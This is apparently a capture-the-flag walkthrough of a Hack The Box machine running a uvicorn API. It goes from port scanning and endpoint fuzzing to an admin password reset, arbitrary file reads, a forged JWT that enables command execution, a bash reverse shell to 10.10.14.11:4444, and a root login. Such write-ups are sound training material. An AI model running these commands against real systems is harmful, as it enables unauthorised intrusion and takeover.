┌──(root💀kali)-[~]
└─# nmap -T5 -sC -sV -O -Pn -p- 10.10.11.161
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-13 15:04 EDT
Nmap scan report for 10.10.11.161
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http uvicorn
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| content-type: text/plain; charset=utf-8
| Connection: close
| Invalid HTTP request received.
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| date: Fri, 13 May 2022 23:23:02 GMT
| server: uvicorn
| content-length: 22
| content-type: application/json
| Connection: close
| {"detail":"Not Found"}
| GetRequest:
| HTTP/1.1 200 OK
| date: Fri, 13 May 2022 23:22:50 GMT
| server: uvicorn
| content-length: 29
| content-type: application/json
| Connection: close
| {"msg":"UHC API Version 1.0"}
| HTTPOptions:
| HTTP/1.1 405 Method Not Allowed
| date: Fri, 13 May 2022 23:22:56 GMT
| server: uvicorn
| content-length: 31
| content-type: application/json
| Connection: close
|_ {"detail":"Method Not Allowed"}
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: uvicorn
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.92%I=7%D=5/13%Time=627EABB5%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,AD,"HTTP/1\.1\x20200\x20OK\r\ndate:\x20Fri,\x2013\x20May\x202022
SF:\x2023:22:50\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2029\r\nc
SF:ontent-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"msg\
SF:":\"UHC\x20API\x20Version\x201\.0\"}")%r(HTTPOptions,BF,"HTTP/1\.1\x204
SF:05\x20Method\x20Not\x20Allowed\r\ndate:\x20Fri,\x2013\x20May\x202022\x2
SF:023:22:56\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2031\r\ncont
SF:ent-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"detail\
SF:":\"Method\x20Not\x20Allowed\"}")%r(RTSPRequest,76,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(F
SF:ourOhFourRequest,AD,"HTTP/1\.1\x20404\x20Not\x20Found\r\ndate:\x20Fri,\
SF:x2013\x20May\x202022\x2023:23:02\x20GMT\r\nserver:\x20uvicorn\r\nconten
SF:t-length:\x2022\r\ncontent-type:\x20application/json\r\nConnection:\x20
SF:close\r\n\r\n{\"detail\":\"Not\x20Found\"}")%r(GenericLines,76,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20rece
SF:ived\.")%r(DNSVersionBindReqTCP,76,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
SF:e\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(DNSStatusRequestT
SF:CP,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20text/plai
SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20r
SF:equest\x20received\.")%r(SSLSessionReq,76,"HTTP/1\.1\x20400\x20Bad\x20R
SF:equest\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConnection:\
SF:x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(TerminalSe
SF:rverCookie,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20H
SF:TTP\x20request\x20received\.")%r(TLSSessionReq,76,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConn
SF:ection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.");
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.86 seconds
Port 80
gobuster
┌──(root💀kali)-[~]
└─# gobuster dir -u http://10.10.11.161/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.161/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/05/13 16:08:04 Starting gobuster in directory enumeration mode
===============================================================
/api (Status: 200) [Size: 20]
/docs (Status: 401) [Size: 30]
===============================================================
2022/05/13 16:08:26 Finished
===============================================================
So we have 2 more endpoints including one that will require to be authenticated
Lets run gobuster again in the api folder
┌──(root💀kali)-[~]
└─# gobuster dir -u http://10.10.11.161/api/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.161/api/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/05/13 16:12:32 Starting gobuster in directory enumeration mode
===============================================================
/v1 (Status: 200) [Size: 30]
===============================================================
2022/05/13 16:12:54 Finished
===============================================================
The user gives a 404 and the admin needs authentication
Let's try to fuzz methods as well
We can try this with wfuzz and hide 404 and 405 codes like this wfuzz -X POST -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.11.161/api/v1/user/FUZZ --hc 404,405
┌──(root💀kali)-[~]
└─# wfuzz -X POST -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.11.161/api/v1/user/FUZZ --hc 404,405
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.161/api/v1/user/FUZZ
Total requests: 4702
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001029: 307 0 L 0 W 0 Ch "cgi-bin/"
000002500: 422 0 L 3 W 172 Ch "login"
000003788: 422 0 L 2 W 81 Ch "signup"
Total time: 31.68708
Processed Requests: 4702
Filtered Requests: 4699
Requests/sec.: 148.3885
Let's inspect these further with burp
We also need to modify the content type otherwise we will get errors Content-Type: application/json
Login
When trying to login with our user using a json content type it does not work
If we try with the previous content type it works and we get a token bearer
Swaggers are way cuter so let's do the same thing live with intercept on instead of using the repeater
So we have an admin token bearer
According to the passwd we have a user htb, let's keep a note of this info
Let's play a little with this request in the repeater. Let's try to see /proc/self/environ
The working dir is /home/htb/uhc we can try to get the source code using the info from the env file let's try to access /home/htb/uhc/app/main.py It works! Let's paste it to a file and analyse it
If we check the import we can find the config file from app.core.config import settings
Let's get the file in burp "file": "/home/htb/uhc/app/core/config.py" We have the JWT secret in it!
For easiest use on the swagger let's connect with the admin creds we created we just have to click on the Authorize green lock on the top right and enter our credentials
Now we just need to copy the new token and we should be able to execute commands.
Let's try to get a shell bash -i >& /dev/tcp/10.10.14.11/4444 0>&1.
We launch a listener nc -lvp 4444
let's try to see if we can use it to get root
We need to stabilize our shell first we can use this doc to do so. so we just need to type python -c 'import pty; pty.spawn("/bin/bash")'
We can finally grab the root flag!! :D :D :D cat /root/root.txt
We get an API endpoint (as expected when seeing the nmap scan)
We get the v1 endpoint that discloses 2 other endpoints user and admin:
Let's see if we get user enumeration by adding an id in the end. We do but only for one id:
Signup
Using this strategy after a few tries (the response will give detailed answers on what is missing to forge the request) we are able to add another user
If we try to login as admin with password "password" or "admin" it does not work
However we did get a jwt token with our user so let's check the endpoints that needed authentication we have to put our token this way in the headers Authorization: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjUzMTg0MjQ3LCJpYXQiOjE2NTI0OTMwNDcsInN1YiI6IjIiLCJpc19zdXBlcnVzZXIiOmZhbHNlLCJndWlkIjoiNjZkNzU3N2QtNDBiNy00YTUxLTlkNDctMjA1NjFhZmEyZTM3In0.Qv6kCB4alQHqhXfKv6MfcmFNDfL82cPMs2P9mIJ7fuE
We see it is showing /openapi.json this endpoint so we can try to access to see if we get the swagger. And we do!
we request the /docs and modify the intercepted request by adding our token
It looks good it is making a requestion to openapi.json so lets add our token again
And we get the swagger!
There is a SecretFlagEndpoint lets try it out
We get a flag!!
There is also an update pass function let's check it out and try it on the admin which has id 1 so we can take its guid from the user/1 endpoint we found at the beginning. It is worth trying^^
OMG!!! It worked
Let's try to login as admin
It works!
As an admin we really can do interesting things like getting file and running commands!! Let's try an ls
We get an error. It seems like we need to get the jwt token so for this we have to fing the secret
However if we try to get a file it works
Ok now let's inspect the token in jwt.io
Let's try to add our secret now that we have it we need to enter it here:
And according to the error message we have we also need to add a debug flag in it so our payload data looks like this
Let's try our ls again. And it works!
We have to be careful with the & symbol in order for it to not be interpreted as url char. so first lets encode this in base64 we can do it with burp
Now we need to add an echo -n in front of it pipe it to a base64 decode and pipe it to bash so that it gets executed like this
And finally we fully urlencode all of this with burp again we have ti select "URL-encode all characters"
Our payload will look like this
We get a shell!
in the folder we arrive (/home/htb/uhc) we have an auth.log file that is interesting because of something that looks like a password:
And now we just need to try to login as root using su root and it works!!
